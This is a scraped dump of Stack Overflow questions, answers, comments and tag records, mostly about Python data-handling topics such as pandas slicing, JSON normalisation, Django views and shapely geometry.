has body: How can i compare a column to all other columns and obtain a boolean series to slice the dataframe by using i loc? import numpy as np import pandas as pd a = np.random.normal(1,10,(10,1)) b = np.random.normal(1,5,(10,1)) c = np.random.normal(1,5,(10,1)) d = np.random.normal(1,5,(10,1)) e = np.append(a,b, axis = 1) e = np.append(e,c, axis = 1) e = np.append(e,d, axis = 1) df = pd.DataFrame(data = e, columns=['a','b','c','d']) a b c d 0 4.043832 -1.672865 -0.401864 3.073481 1 4.828796 -0.830688 3.652347 -1.780346 2 13.055145 5.730707 -2.305093 -4.566279 3 6.589498 -0.525029 -1.077942 -3.850963 4 5.273932 -1.003112 0.393002 -0.415573 5 -7.872004 -2.506250 1.725281 6.676886 6 -4.797119 6.448990 0.254142 -7.374601 7 8.610763 8.075350 13.043584 12.768633 8 -10.871154 2.152322 2.093089 11.570059 9 -22.148239 1.493870 3.649696 2.455621 df.loc[df.a &gt; df.b] Will give the desired result, but only for a 1:1 comparison a b c d 0 4.043832 -1.672865 -0.401864 3.073481 1 4.828796 -0.830688 3.652347 -1.780346 2 13.055145 5.730707 -2.305093 -4.566279 3 6.589498 -0.525029 -1.077942 -3.850963 4 5.273932 -1.003112 0.393002 -0.415573 7 8.610763 8.075350 13.043584 12.768633 My Approach was like this: S = ['b','c','d'] (df.a &gt; df[S]).any(axis = 1) 0 False 1 False 2 False 3 False 4 False 5 False 6 False 7 False 8 False 9 False dtype: bool But unfortunately, the series is somehow False for all rows. How can i solve this Problem?
tagged with: dataframe
tagged with: python
has title: Boolean slicing by comparing one to many columns in pandas
type: AnsweredQuestion
possible better answer: http://stackoverflow.com/a/47314495
answer count: 2
tagged with: pandas
score: 1
has answer: http://stackoverflow.com/a/47314495
downvote count: 0

http://stackoverflow.com/a/47294213
score: 1
downvote count: 0
upvote count: 1
has body: Option 1 I've tried to improve your existing solution. You can use reindex + combine_first + reindex again: df1 = df1.set_index('sku') df2 = df2.set_index('sku') df = df2.reindex(df1.index.union(df2.index), fill_value=0) df = df1'nome', 'codice'.combine_first(df).reindex(columns=df1.columns) c = df.dtypes == 'float' df.loc[:, c] = df.loc[:, c].astype(int) df sku nome prezzo qty codice 0 1 uno 20 2 11111 1 2 due 20 2 22222 2 3 tre 20 2 33333 3 4 quattro 0 0 44444 4 5 cinque 20 2 55555 5 10 dieci 20 2 101010 6 11 undici 20 2 111111 Option 2 Alternatively, substitute combine_first with replace + fillna: df.nome = df.nome.replace(0, np.nan).fillna(df1.nome) df.codice = df.codice.replace(0, np.nan).fillna(df1.codice).astype(int) df.reset_index() sku nome prezzo qty codice 0 1 uno 20 2 11111 1 2 due 20 2 22222 2 3 tre 20 2 33333 3 4 quattro 0 0 44444 4 5 cinque 20 2 55555 5 10 dieci 20 2 101010 6 11 undici 20 2 111111
has comment: http://stackoverflow.com/comment/81540020
has comment: http://stackoverflow.com/comment/81539680
has comment: http://stackoverflow.com/comment/81539642
has comment: http://stackoverflow.com/comment/81539809
type: Answer
answers question: http://stackoverflow.com/q/47294160

serverless-framework
tag name: serverless-framework
type: Tag
tags question: http://stackoverflow.com/q/47282928

http://stackoverflow.com/q/47315179
has body: Code: candidates_and_fp_votes = {'a': 25, 'b': 0, 'c': 17, 'd': 23, 'e': 0} print(candidates_and_fp_votes) final_vals = [a for a, b in candidates_and_fp_votes.items() if list(candidates_and_fp_votes.values()).count(b) &gt; 1] print("Duplicates are: ") for i in final_vals: print(i) print(final_vals) if not final_vals: print("No tiebreaker sys required") else: print("Tie-breaker required") Currently, this outputs "Tie-breaker required" as 'b' and 'e' have a value of 0. I would like this so it only finds duplicates that affect the highest or second highest value. Eg: Right now, it should print "No tiebreaker sys required because even if there is a duplicate with 'b' and 'e' it is not a duplicate with the second and highest values '25' and '23' if the dict to be = {'a': 25, 'b': 0, 'c': 23, 'd': 23, 'e': 0} it would print out "Tie-breaker required as it is affecting the 2nd highest value - 23. Also, I just had a little change in mind, if the highest score is duplicating with a number but this number does not duplicate with the second highest, it would just output "No tiebreaker sys required" How can I do this? Thanks in advance.
has answer: http://stackoverflow.com/a/47315430
favorite count: 0
has answer: http://stackoverflow.com/a/47315911
type: Question
accepted answer: http://stackoverflow.com/a/47315911
has comment: http://stackoverflow.com/comment/81581607
has comment: http://stackoverflow.com/comment/81581514
possible better answer: http://stackoverflow.com/a/47315438
has title: Finding duplicate values only for 2 highest values in a dict
answer count: 5
linked to: http://stackoverflow.com/q/613183
downvote count: 2
has answer: http://stackoverflow.com/a/47315345
tagged with: python
score: -1
has answer: http://stackoverflow.com/a/47315800
type: AnsweredQuestion
has answer: http://stackoverflow.com/a/47315438
upvote count: 1

http://stackoverflow.com/comment/81631888
type: Comment
type: QuestionComment
score: 0
comment on: http://stackoverflow.com/q/47339698
has text: I copied this data from the csv file and copied here, maybe because of that, it is shown like this. If I can upload the file or an image of that you can see that.

http://stackoverflow.com/comment/81617563
score: 0
has text: The [TimeComplexity wiki](https://wiki.python.org/moin/TimeComplexity) is a useful thing to keep handy.
type: QuestionComment
type: Comment
comment on: http://stackoverflow.com/q/47333158

http://stackoverflow.com/comment/81499968
comment on: http://stackoverflow.com/a/47274311
type: Comment
score: 0
type: AnswerComment
has text: Thank you so much! You saved my day and kinda just made more clear to me, how python works!

http://stackoverflow.com/comment/81488783
has text: @ImportanceOfBeingErnest perhaps my previous comment answers your question as well.
score: 0
comment on: http://stackoverflow.com/q/47268860
type: Comment
type: QuestionComment

http://stackoverflow.com/comment/81580319
score: 1
type: Comment
comment on: http://stackoverflow.com/q/47314686
type: QuestionComment
has text: Would recommend checking out how if statements work in python as the problem is pretty basic.

http://stackoverflow.com/comment/125791023
score: 0
type: Comment
has text: I would suggest changing the title. Because the title question asks for combining non-empty list elements, whereas the body and the answers all talk about joining strings. What if `a` though `e` are lists or tuples, with `b` and `d` `=[]` or `=()`?
type: QuestionComment
comment on: http://stackoverflow.com/q/47316854

http://stackoverflow.com/comment/81782517
type: Comment
score: 0
type: AnswerComment
has text: yeah got it.Thanks
comment on: http://stackoverflow.com/a/47354014

http://stackoverflow.com/q/47308752
tagged with: python-3.x
upvote count: 2
type: UnansweredQuestion
tagged with: python
has title: Error while creating executables using cx_Freeze on Python 3.6
tagged with: python-3.6
has comment: http://stackoverflow.com/comment/81568544
answer count: 0
has comment: http://stackoverflow.com/comment/81568398
has body: I am trying to convert a very basic code to exe. I am using Python 3.6, and I installed cx_Freeze 5.1 using the pip command. It installed correctly. I made the setup.py file, and put it and the code in the Python directory. When I ran the command "python xyz.py build" it started the build process, and completed it without any error. When I tried to run the executable file of my code, I get an error. Fatal Python error: Py-Initialize: unable to load the file system codec. Traceback......line 31 in ImportError: No Module named "codecs"
score: 0
linked to: http://stackoverflow.com/q/42961944
downvote count: 2
has comment: http://stackoverflow.com/comment/81568847
has comment: http://stackoverflow.com/comment/81569437
has comment: http://stackoverflow.com/comment/81569386
favorite count: 0
type: Question
tagged with: cx-freeze

http://stackoverflow.com/comment/81480062
comment on: http://stackoverflow.com/a/47263738
type: Comment
type: AnswerComment
score: 1
has text: Also, you could do this in one line by padding with `None` (or using `itertools.zip_longest`): `[x for x, y in zip(mylist, mylist[1:]+[None]) if y is None or y - x >= 80]`

http://stackoverflow.com/comment/81648011
has text: No, I didn't know that existed actually. I was trying to infer a subquery by passing a queryset as a parameter, but an explicity `Subquery()` could be what I'm after. Thank you, I'll give that a try.
type: Comment
comment on: http://stackoverflow.com/a/47332720
score: 0
type: AnswerComment

http://stackoverflow.com/q/47277205
has comment: http://stackoverflow.com/comment/81505496
favorite count: 0
type: Question
has answer: http://stackoverflow.com/a/47277365
type: UnansweredQuestion
score: 1
tagged with: python
has title: Create dataframe of too long integers
tagged with: pandas
has body: I am trying to create dataframe which should contain very long integer. My code is as follows: import pandas as pd data = [123456789123456789123456789123456789123456789, 123456789123456789123456789123456789123456789] cols = ['Col1', 'Col2'] df = pd.DataFrame(data, columns=cols) print(df) But I am getting the following error: Traceback (most recent call last): File "/home/watson/Desktop/test.py", line 5, in &lt;module&gt; df = pd.DataFrame(data, columns=cols) File "/usr/local/lib/python2.7/dist-packages/pandas/core/frame.py", line 330, in __init__ copy=copy) File "/usr/local/lib/python2.7/dist-packages/pandas/core/frame.py", line 463, in _init_ndarray values = _prep_ndarray(values, copy=copy) File "/usr/local/lib/python2.7/dist-packages/pandas/core/frame.py", line 5578, in _prep_ndarray values = convert(values) File "/usr/local/lib/python2.7/dist-packages/pandas/core/frame.py", line 5567, in convert return maybe_convert_platform(v) File "/usr/local/lib/python2.7/dist- packages/pandas/core/dtypes/cast.py", line 47, in maybe_convert_platform values = lib.maybe_convert_objects(values) File "pandas/_libs/src/inference.pyx", line 1165, in pandas._libs.lib.maybe_convert_objects (pandas/_libs/lib.c:58498) OverflowError: long int too large to convert
duplicate of: http://stackoverflow.com/q/21591109
downvote count: 0
answer count: 1
linked to: http://stackoverflow.com/q/21591109
upvote count: 1

http://stackoverflow.com/a/47320377
downvote count: 0
type: AcceptedAnswer
has body: You can use the diff method on the first column with a period of -1, then check if it is less than zero to create the second column. import pandas as pd df = pd.DataFrame({'c1': [5,6,3,2,4]}) df['c2'] = (df.c1.diff(-1) &lt; 0).astype(int) df # returns: c1 c2 0 5 1 1 6 0 2 3 0 3 2 1 4 4 0
score: 3
accepted answer of: http://stackoverflow.com/q/47320316
type: Answer
answers question: http://stackoverflow.com/q/47320316
upvote count: 3

http://stackoverflow.com/a/47366338
type: Answer
has body: There are a few problems with your code. As Martin mentioned, you're opening the CSV file twice. And there's no need to open it &amp; read every time you want to perform a search. It's much more efficient to read it once into some kind of collection, and then perform your search on that collection. We could save the periodic table data into a list, but it's much better to use a dictionary. That way we can instantly get the element name by using the symbol as the key. Another problem that I hinted at earlier is that you're passing the string 'element' to your search function instead of a string containing the element's symbol. And since the periodic table doesn't contain the word 'element' the search would always fail. We don't actually need to pass anything to search: we can get it to retrieve the current contents of the Entry via the element StringVar. Also, as I mentioned above, it's not a good idea to make a new Label each time you want to update the output. The old Labels will still exist, but they'll be buried under the newer ones. Instead, create a single Label and update its text via its .config method. Here's a repaired version of your program. import csv import tkinter as tk # Read the periodic_table data and save it to a dictionary, keyed by the symbol periodic_table = {} with open('Periodic_Table.csv', newline='') as f: reader = csv.reader(f, delimiter=",", skipinitialspace=True) for sym, name in reader: periodic_table[sym] = name base_container = tk.Tk() element = tk.StringVar() def search(): sym = element.get() name = periodic_table.get(sym, 'Not found') element_label.config(text=name) tk.Label(base_container, text="Enter a chemical symbol:").grid(row=0, column=0, sticky="NE") tk.Entry(base_container, width=30, textvariable=element).grid(row=0, column=1, padx=2, pady=2, sticky="NE", columnspan=4) element_label = tk.Label(base_container, text='') element_label.grid(row=4, column=0) tk.Button(base_container, text="Find", command=search).grid(row=30, colum…
downvote count: 0
score: 1
upvote count: 1
answers question: http://stackoverflow.com/q/47365228

http://stackoverflow.com/comment/81458523
score: 0
has text: Thanks. most_common worked, really helpful. Need to do some more reading into counters. Appreciate the help
type: QuestionComment
type: Comment
comment on: http://stackoverflow.com/q/47252978

http://stackoverflow.com/a/47246575
has comment: http://stackoverflow.com/comment/81448195
has comment: http://stackoverflow.com/comment/81486633
has comment: http://stackoverflow.com/comment/81507423
has body: Looking at the report from SSLLabs for this site you will see among many other warnings: This server's certificate chain is incomplete. If you look into more details you'll see that the server is providing only the leaf certificate but is failing to provide an intermediate certificate which is needed to build the trust chain to the local root certificate. Desktop browsers often (but not always) work around such misconfigured servers by trying to automatically get the missing certificate from somewhere else. But other applications (like Python, Perl, Java... applications) simply fail since the certificate can not be properly validated without having the missing intermediate certificate. To work around this server you need to provide the intermediate certificate yourself. This can be done for example with requests like this: import requests response = request.get('https://flightplanning.navcanada.ca', verify='mycerts.pem') With mycerts.pem containing all the missing intermediate certificates and the root certificate you trust. You can find such a file which fixes the connectivity with this specific server at https://pastebin.com/zi5BN2Vt
has comment: http://stackoverflow.com/comment/81502760
type: Answer
score: 0
answers question: http://stackoverflow.com/q/47244944
has comment: http://stackoverflow.com/comment/81465713
has comment: http://stackoverflow.com/comment/81487186
has comment: http://stackoverflow.com/comment/81458958

http://stackoverflow.com/comment/81460384
type: AnswerComment
has text: I did what you wrote but it only gave me the column header as an output, Idk why?
comment on: http://stackoverflow.com/a/47254171
type: Comment
score: 0

http://stackoverflow.com/a/47331295
accepted answer of: http://stackoverflow.com/q/47331031
score: 6
upvote count: 6
answers question: http://stackoverflow.com/q/47331031
has comment: http://stackoverflow.com/comment/81614346
has comment: http://stackoverflow.com/comment/81618363
downvote count: 0
has body: Assuming you have already imported your data, as defined in your MCWE: data = [{'user': 1,'query': 'abc', 'Filters': [{u'Op': u'and', u'Type': u'date', u'Val': u'1992'},{u'Op': u'and', u'Type': u'sex', u'Val': u'F'}]}, {'user': 1,'query': 'efg', 'Filters': [{u'Op': u'and', u'Type': u'date', u'Val': u'2000'},{u'Op': u'and', u'Type': u'col', u'Val': u'Blue'}]}, {'user': 1,'query': 'fgs', 'Filters': [{u'Op': u'and', u'Type': u'date', u'Val': u'2001'},{u'Op': u'and', u'Type': u'col', u'Val': u'Red'}]}, {'user': 2 ,'query': 'hij', 'Filters': [{u'Op': u'and', u'Type': u'date', u'Val': u'2002'}]}, {'user': 2 ,'query': 'dcv', 'Filters': [{u'Op': u'and', u'Type': u'date', u'Val': u'2001'},{u'Op': u'and', u'Type': u'sex', u'Val': u'F'}]}, {'user': 2 ,'query': 'tyu', 'Filters':[{u'Op': u'and', u'Type': u'date', u'Val': u'1999'},{u'Op': u'and', u'Type': u'col', u'Val': u'Yellow'}]}, {'user': 3 ,'query': 'jhg', 'Filters':[{u'Op': u'and', u'Type': u'date', u'Val': u'2001'},{u'Op': u'and', u'Type': u'sex', u'Val': u'M'}]}, {'user': 4 ,'query': 'mlh', 'Filters':[{u'Op': u'and', u'Type': u'date', u'Val': u'2001'}]}, ] Then, you are looking for Pandas json_normalize method for data normalization: from pandas.io.json import json_normalize df = json_normalize(data, 'Filters', ['query', 'user']) It returns a normalized DataFrame version where your column of json is expanded into eponymous typed columns: Op Type Val user query 0 and date 1992 1 abc 1 and sex F 1 abc 2 and date 2000 1 efg 3 and col Blue 1 efg 4 and date 2001 1 fgs 5 and col Red 1 fgs 6 and date 2002 2 hij 7 and date 2001 2 dcv 8 and sex F 2 dcv 9 and date 1999 2 tyu 10 and col Yellow 2 tyu 11 and date 2001 3 jhg 12 and sex M 3 jhg 13 and date 2001 4 mlh Now, you would pivot your DataFrame to convert Type modalities into columns: df = df.pivot_table(index=['user', 'query', 'Op'], columns='Type', aggfunc='first') It leads to: Val Type col date sex user query Op 1 abc and None 1992 F efg and Blue 2000 None fgs and Red 2001 N…
type: Answer
has comment: http://stackoverflow.com/comment/81643950
has comment: http://stackoverflow.com/comment/81617511
has comment: http://stackoverflow.com/comment/81614966
has comment: http://stackoverflow.com/comment/81619413
type: AcceptedAnswer

algorithm
tags question: http://stackoverflow.com/q/47337285
tags question: http://stackoverflow.com/q/47244596
tags question: http://stackoverflow.com/q/47287462
type: Tag
tags question: http://stackoverflow.com/q/47244494
tag name: algorithm
tags question: http://stackoverflow.com/q/47293793
tags question: http://stackoverflow.com/q/47262162
tags question: http://stackoverflow.com/q/47254299
tags question: http://stackoverflow.com/q/47280207
tags question: http://stackoverflow.com/q/47286919
tags question: http://stackoverflow.com/q/47307441
tags question: http://stackoverflow.com/q/47380073
tags question: http://stackoverflow.com/q/47368382
tags question: http://stackoverflow.com/q/47321392
tags question: http://stackoverflow.com/q/47335380
tags question: http://stackoverflow.com/q/47351416
tags question: http://stackoverflow.com/q/47371056
tags question: http://stackoverflow.com/q/47290732
tags question: http://stackoverflow.com/q/47331421
tags question: http://stackoverflow.com/q/47284796
tags question: http://stackoverflow.com/q/47250213
tags question: http://stackoverflow.com/q/47243679
tags question: http://stackoverflow.com/q/47241348
tags question: http://stackoverflow.com/q/47240957
tags question: http://stackoverflow.com/q/47290045
tags question: http://stackoverflow.com/q/47341773
tags question: http://stackoverflow.com/q/47337134
tags question: http://stackoverflow.com/q/47236747
tags question: http://stackoverflow.com/q/47240220
tags question: http://stackoverflow.com/q/47380486
tags question: http://stackoverflow.com/q/47258359
tags question: http://stackoverflow.com/q/47239000
tags question: http://stackoverflow.com/q/47343252
tags question: http://stackoverflow.com/q/47258358
tags question: http://stackoverflow.com/q/47359394
tags question: http://stackoverflow.com/q/47268788
tags question: http://stackoverflow.com/q/47374607

http://stackoverflow.com/q/47336920
type: AnsweredQuestion
has comment: http://stackoverflow.com/comment/81625716
answer count: 2
has comment: http://stackoverflow.com/comment/81625651
possible better answer: http://stackoverflow.com/a/47337210
score: 1
downvote count: 0
upvote count: 1
has comment: http://stackoverflow.com/comment/81625783
has comment: http://stackoverflow.com/comment/81626192
linked to: http://stackoverflow.com/q/11205386
favorite count: 0
has comment: http://stackoverflow.com/comment/81626056
tagged with: beautifulsoup
type: Question
duplicate of: http://stackoverflow.com/q/11205386
has answer: http://stackoverflow.com/a/47337210
tagged with: python
accepted answer: http://stackoverflow.com/a/47337051
has body: I have a python script that I am having trouble with and I think I have narrowed the issue down to this line: formkey = soup.find_all("script")[9].string[153:][:-141] I believe that this line is supposed to return the value of "form_key" on this page https://shop.adidas.ae/en/forum-mis-wrap-shoes/BY4412.html Is there something I'm missing? Thanks
has title: Beautifulsoup code no longer working in python script
has answer: http://stackoverflow.com/a/47337051

http://stackoverflow.com/q/47359985
favorite count: 0
type: Question
tagged with: geometry
upvote count: 5
score: 5
tagged with: vector
type: UnansweredQuestion
has answer: http://stackoverflow.com/a/78366943
tagged with: python
has body: Last time I used shapely, I really had this nice import-and-fly-feeling. However recently, I run into a rather non-intuitive behavior in this module, as I tried to find the intersection between a line segment and a triangle in 3D space. Let's define a segment and a triangle as follow: l = LineString([[1,0.5,0.5],[3,0.5,0.5]]) p = Polygon([[1.2,0.0,0.],[2.2,1.0,0.],[2.8,0.5,1.]]) To get their point of intersection I used l.intersection(p), and expected a point, namely POINT Z (POINT Z (2 0.5 0.25)). It is illustrated with the blue dot below: Instead what I got was LINESTRING Z (1.7 0.5 0.25, 2.8 0.5 1) - red line below - and frankly I am quite perplexed about what it is supposed to represent. Oddly enough, when the polygon/triangle is in the xz-plane and orthogonal to the line segment, the function behaves as one would expect. When the triangle is "leaning", however, it returns a line. This has temporarily lead me to believe that it returned the intersection between the line and the triangle's bounding box. The above red line proves otherwise. So a workaround for this problem has been to read this very enlightening web-page, and adapt their C++ code to work with shapely objects. The intersection method works great to check whether the line goes through the polygon, and the function below finds the point of interest. def intersect3D_SegmentPlane(Segment, Plane): # Points in Segment: Pn Points in Plane: Qn P0, P1 = np.array(Segment.coords) Q0, Q1, Q2 = np.array(Plane.exterior)[:-1] # vectors in Plane q1 = Q1 - Q0 q2 = Q2 - Q0 # vector normal to Plane n = np.cross(q1, q2)/np.linalg.norm(np.cross(q1, q2)) u = P1 - P0 # Segment's direction vector w = P0 - Q0 # vector from plane ref point to segment ref point ## Tests parallelism if np.dot(n, u) == 0: print "Segment and plane are parallel" print "Either Segment is entirely in Plane or they never intersect." return None ## if intersection is a point else: ## Si is the scalar where P(Si) = P0 + Si*u lies in Plane Si = np.dot…
answer count: 2
has answer: http://stackoverflow.com/a/47414223
downvote count: 0
has title: Shapely: intersection point between line and polygon in 3D
tagged with: shapely

http://stackoverflow.com/q/47234755
tagged with: python
type: AnsweredQuestion
has body: I am trying to install PyML-0.7.14 using anaconda.In anaconda prompt, I am giving conda install pyml-0.7.14 conda install pyml conda install pyml=0.7.14 Each of these is giving error: Package missing in current win-32 channels. I have also tried installation using pip pip install pyml but it is giving: could not find a version that satisfies the requirement. PyML available on anaconda cloud is for 64 bit only.
score: 0
has title: Anaconda Package Installation:Package missing in current win-32 channels
accepted answer: http://stackoverflow.com/a/47234885
answer count: 1
has answer: http://stackoverflow.com/a/47234885
tagged with: pyml
type: Question
tagged with: anaconda

http://stackoverflow.com/a/55309194
has body: This is how you would add a vertical color bar to each plot based on the values in the array t: import matplotlib.cm as cm import matplotlib.pyplot as plt import numpy as np; np.random.seed(0) import cufflinks as cf t = np.arange(0, 45000*10**5, 90*10**5) for j in range(1, 2): # Loop just once for testing (instead of 501 times) # Load files # x1, x2, x3, x4 = np.loadtxt('file' + str(j), usecols = (1,2,3,4), unpack = True) # Generate sample data (instead of loading files) data = cf.datagen.lines(4, 500) x1 = data.iloc[:,0] x2 = data.iloc[:,1] x3 = data.iloc[:,2] x4 = data.iloc[:,3] f1, ax1 = plt.subplots() sc1 = ax1.scatter(x1, x2, c=t, cmap=cm.spring) plt.colorbar(sc1) f2, ax2 = plt.subplots() sc2 = ax2.scatter(x1, x3, c=t, cmap=cm.spring) plt.colorbar(sc2) f3, ax3 = plt.subplots() sc3 = ax3.scatter(x1, x4, c=t, cmap=cm.spring) plt.colorbar(sc3) f1.savefig('plot1.pdf', dpi = 1200, bbox_inches = 'tight') f2.savefig('plot2.pdf', dpi = 1200, bbox_inches = 'tight') f3.savefig('plot3.pdf', dpi = 1200, bbox_inches = 'tight')
answers question: http://stackoverflow.com/q/47232563
score: 0
type: Answer

http://stackoverflow.com/a/47378333
answers question: http://stackoverflow.com/q/47375469
has comment: http://stackoverflow.com/comment/81709078
has comment: http://stackoverflow.com/comment/81709335
type: Answer
has body: views.py from django.shortcuts import get_object_or_404 from rest_framework.response import Response class AnnounceDetail(generics.RetrieveUpdateDestroyAPIView): queryset = Announce.objects.all() serializer_class = AnnounceSerializer renderer_classes = [TemplateHTMLRenderer] template_name = 'myApp/announce_detail.html' permission_classes = (permissions.IsAuthenticatedOrReadOnly, IsOwnerOrReadOnly,) def retrieve(self, request, pk, *args, **kwargs): announce = get_object_or_404(Announce, pk=pk) serializer = self.get_serializer(announce) # typo fixed return Response({'serializer': serializer, 'announce': announce}) announce_detail.html {% load rest_framework %} {% load staticfiles %} {% block content %} {% csrf_token %} {% render_form serializer %} {% endblock content %}
score: 2
upvote count: 2
downvote count: 0
has comment: http://stackoverflow.com/comment/81709694
has comment: http://stackoverflow.com/comment/98279338
has comment: http://stackoverflow.com/comment/81714062
has comment: http://stackoverflow.com/comment/81710226

http://stackoverflow.com/comment/81610317
type: AnswerComment
has text: @GerritSiegersma Please mark this as your accepted answer, if you're happy with it. Glad I could help.
type: Comment
score: 0
comment on: http://stackoverflow.com/a/47271707

http://stackoverflow.com/q/47358107
has answer: http://stackoverflow.com/a/47358323
has answer: http://stackoverflow.com/a/47358198
tagged with: python
has title: Possible to use string formatting to split a string value?
score: 2
answer count: 2
upvote count: 2
type: UnansweredQuestion
downvote count: 0
has body: EDIT: I'm stuck with python 2.7.5 ... ANOTHER EDIT: Clarifying the need for the changes to be in the template, not the code handling the dictionary. I'm using a string formatter for building paths from templates. I know I can do this: currentUser = {'first': "Monty", 'last': "Python"} template = '/usr/{user[last]}/{user[first]}' # will come from a config file template.format(user=currentUser) # Result: '/usr/Python/Monty' but in the case of currentUser = {'first': "Raymond", 'last': "Luxury-Yacht"} Is there a way to split, say, by - and use an index? # something like: template = '/usr/{user[last].split(-)[0]/{user[first]}' # will come from a config file template.format(user=currentUser) # Result: '/usr/Luxury/Raymond' The decision to choose: which key to split by what character which index to use from split MUST come from the template string; if the current mini-language can't achieve this, I will have to write a custom formatter. DISCLAIMER: The example is a bit contrived, and not practical, I know. I'm actually dealing with a database where two key bits of information are stored in a single field, joined by underscores -_-. I understand that I could do post-processing on the data after extracting it from the database, but due to conventions for this field differing per-project, I can't even assume that a split operation is valid (some values on some projects won't have the underscore issue). Rather than code a solution around each convention, I'm hoping to be able to provide users with a template "language" so each project can themselves determine how to extract that data, adapt to whatever naming convention they choose, and configure their templates accordingly. TL/DR: I'm not looking for a solution to fixing my incoming data -- I'm exploring the possibility of splitting strings using Python's string format mini-language.
has comment: http://stackoverflow.com/comment/81670400
tagged with: string
favorite count: 0
type: Question
tagged with: split
tagged with: format

http://stackoverflow.com/comment/81616462
score: 0
type: AnswerComment
has text: Thanks for giving me the reason for why I haven't got my output.
type: Comment
comment on: http://stackoverflow.com/a/47238570

http://stackoverflow.com/comment/81518254
type: QuestionComment
has text: I extracted two tweets to show how the data is structured. Does this help?
comment on: http://stackoverflow.com/q/47283167
type: Comment
score: 0

http://stackoverflow.com/comment/81438572
type: QuestionComment
score: 0
has text: @srodriguex my answer was an addition. good work too
comment on: http://stackoverflow.com/q/47243861
type: Comment

http://stackoverflow.com/comment/81631968
comment on: http://stackoverflow.com/q/47339654
type: QuestionComment
score: 0
has text: One interesting problem you might run into is if the person is on an SSD then it can be really hard if not impossible to completely change all of the data for the folder to 0s. An SSD has a controller built into its hardware that will distribute writes onto different sectors of the drive to reduce premature sector failure. So if you think you are writing 0s to one sector the drive has really directed you to another sector and you can't tell from the OS.
type: Comment

http://stackoverflow.com/q/47272361
has title: ML model unexpected behavior on iOS(Swift)
answer count: 0
tagged with: coreml
score: 1
downvote count: 1
favorite count: 0
type: Question
upvote count: 2
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/81495994
tagged with: ios
has body: i have faced strange issue while i was integrating ML model from Python to Swift. Model : Convolutional NN Input : 1000 floats Output(in Python) : pair of 2 floats Steps : 1)Prepared model for integration(created *.mlmodel file from Python) 2)Using official documentation added it in my app 3)Tryied to use generated code It works good, but results is unexpected : Input : 1000 floats - same as in Python code Output : 1000 pairs of two floats How it possible, if i expectes output of the same size as in Python? If it could help - i will provide neccessary code UPDATE 1 Code for model export(Python): import coremltools coreml_model = coremltools.converters.keras.convert(autoencoder, input_names="input_1", output_names="dense_3/Softmax") coreml_model.save('validation_model.mlmodel') And screenshot of how model looks in Xcode - https://prnt.sc/ha14ih
tagged with: python
has comment: http://stackoverflow.com/comment/81495768
tagged with: swift

http://stackoverflow.com/q/47358757
has body: From a json file, I have extracted the following: [u'001', u'002', u'003', u'004', u'005', u'006', u'007', u'009', u'041', u'043', u'050', u'099', u'983'] But, what I need is to create a string like this (this will be part of a SQL statement) str = """not in ('001','002','003','004','005','006','007','009','041','043','050','099','983')""" I am new to this. Do you have any clues for me? This will be done in Python. Thank you in advance!
type: AnsweredQuestion
score: 1
tagged with: http://stackoverflow.com/tag/json
has comment: http://stackoverflow.com/comment/81670239
downvote count: 1
has title: Create a concatenated string from json object in Python
favorite count: 0
type: Question
upvote count: 2
answer count: 1
accepted answer: http://stackoverflow.com/a/47358790
tagged with: python
has answer: http://stackoverflow.com/a/47358790

http://stackoverflow.com/comment/81485350
has text: Yes, it doesn't appear to be the way the data is getting in. For whatever reason it seems to be working up till `fig.autofmt_xdate()` now. I feel like this is some sort of x64 based time conversion error?
type: Comment
type: QuestionComment
score: 0
comment on: http://stackoverflow.com/q/47227268

http://stackoverflow.com/comment/81445169
has text: You may be able to save time by reversing your test order (`if first not in seen and second == smallest[first]`) but that's the micro-est of optimizations. Looks great!
type: AnswerComment
comment on: http://stackoverflow.com/a/47247294
score: 1
type: Comment

http://stackoverflow.com/comment/81584969
type: QuestionComment
has text: Yes. I tried using last 10 months - still seeing the error.
comment on: http://stackoverflow.com/q/47316763
score: 0
type: Comment

http://stackoverflow.com/comment/103442551
type: AnswerComment
score: 1
type: Comment
has text: It isn't numerical unfortunately. Otherwise I'd be working with numpy
comment on: http://stackoverflow.com/a/47348206

http://stackoverflow.com/comment/81582341
score: 0
type: AnswerComment
comment on: http://stackoverflow.com/a/47299348
type: Comment
has text: This is perfect! Thank you very much for the detailed explanation and example. This has put me far ahead than what I was expecting. One question: the only issue I see is if the user were to drag a column from the QHeaderView back onto the QHeaderView (instead of the QListWidget) which essentially hides the dragged column from view with no way to restore the dragged column. I was trying to find a means to ignore the drag in this situation. I'm sure the answer is simple but after several hours of going over the source code I was unable to find an efficient solution.

http://stackoverflow.com/a/47314490
accepted answer of: http://stackoverflow.com/q/47312188
score: 14
has comment: http://stackoverflow.com/comment/81582471
has comment: http://stackoverflow.com/comment/81581427
has body: As sascha suggested, constrained optimization is the easiest way to proceed. The least_squares method is convenient here: you can directly pass your equations to it, and it will minimize the sum of squares of its components. from scipy.optimize import least_squares res = least_squares(equations, (1, 1), bounds = ((-1, -1), (2, 2))) The structure of bounds is ((min_first_var, min_second_var), (max_first_var, max_second_var)), or similarly for more variables. The resulting object has a bunch of fields, shown below. The most relevant ones are: res.cost is essentially zero, which means a root was found; and res.x says what the root is: [ 0.62034453, 1.83838393] active_mask: array([0, 0]) cost: 1.1745369255773682e-16 fun: array([ -1.47918522e-08, 4.01353883e-09]) grad: array([ 5.00239352e-11, -5.18964300e-08]) jac: array([[ 1. , 3.67676787], [ 3.69795254, 0.62034452]]) message: '`gtol` termination condition is satisfied.' nfev: 7 njev: 7 optimality: 8.3872972696740977e-09 status: 1 success: True x: array([ 0.62034453, 1.83838393])
type: Answer
has comment: http://stackoverflow.com/comment/81579753
has comment: http://stackoverflow.com/comment/81581308
upvote count: 14
downvote count: 0
has comment: http://stackoverflow.com/comment/81581933
answers question: http://stackoverflow.com/q/47312188
type: AcceptedAnswer

http://stackoverflow.com/comment/81623631
score: 0
type: Comment
has text: For what it's worth, if you wanted to do this using the Trend column, you could use .diff() instead of .shift()
comment on: http://stackoverflow.com/a/47335740
type: AnswerComment

http://stackoverflow.com/comment/81683742
type: QuestionComment
comment on: http://stackoverflow.com/q/47365228
score: 0
type: Comment
has text: When I run the code, it does nothing basically. I've tried using an enumerate function, but that prints out everything, or once again does nothing if the if statement is included to be selective

http://stackoverflow.com/comment/81464708
type: QuestionComment
has text: @eyllanesc So, is there a way to indicate the percentage in the function for a plot?
comment on: http://stackoverflow.com/q/47256606
score: 0
type: Comment

http://stackoverflow.com/comment/81718216
has text: What I suggest to do is to install the Anaconda Python environment via [here](https://www.anaconda.com/download/#windows) and have a try again with your code.
comment on: http://stackoverflow.com/q/47382594
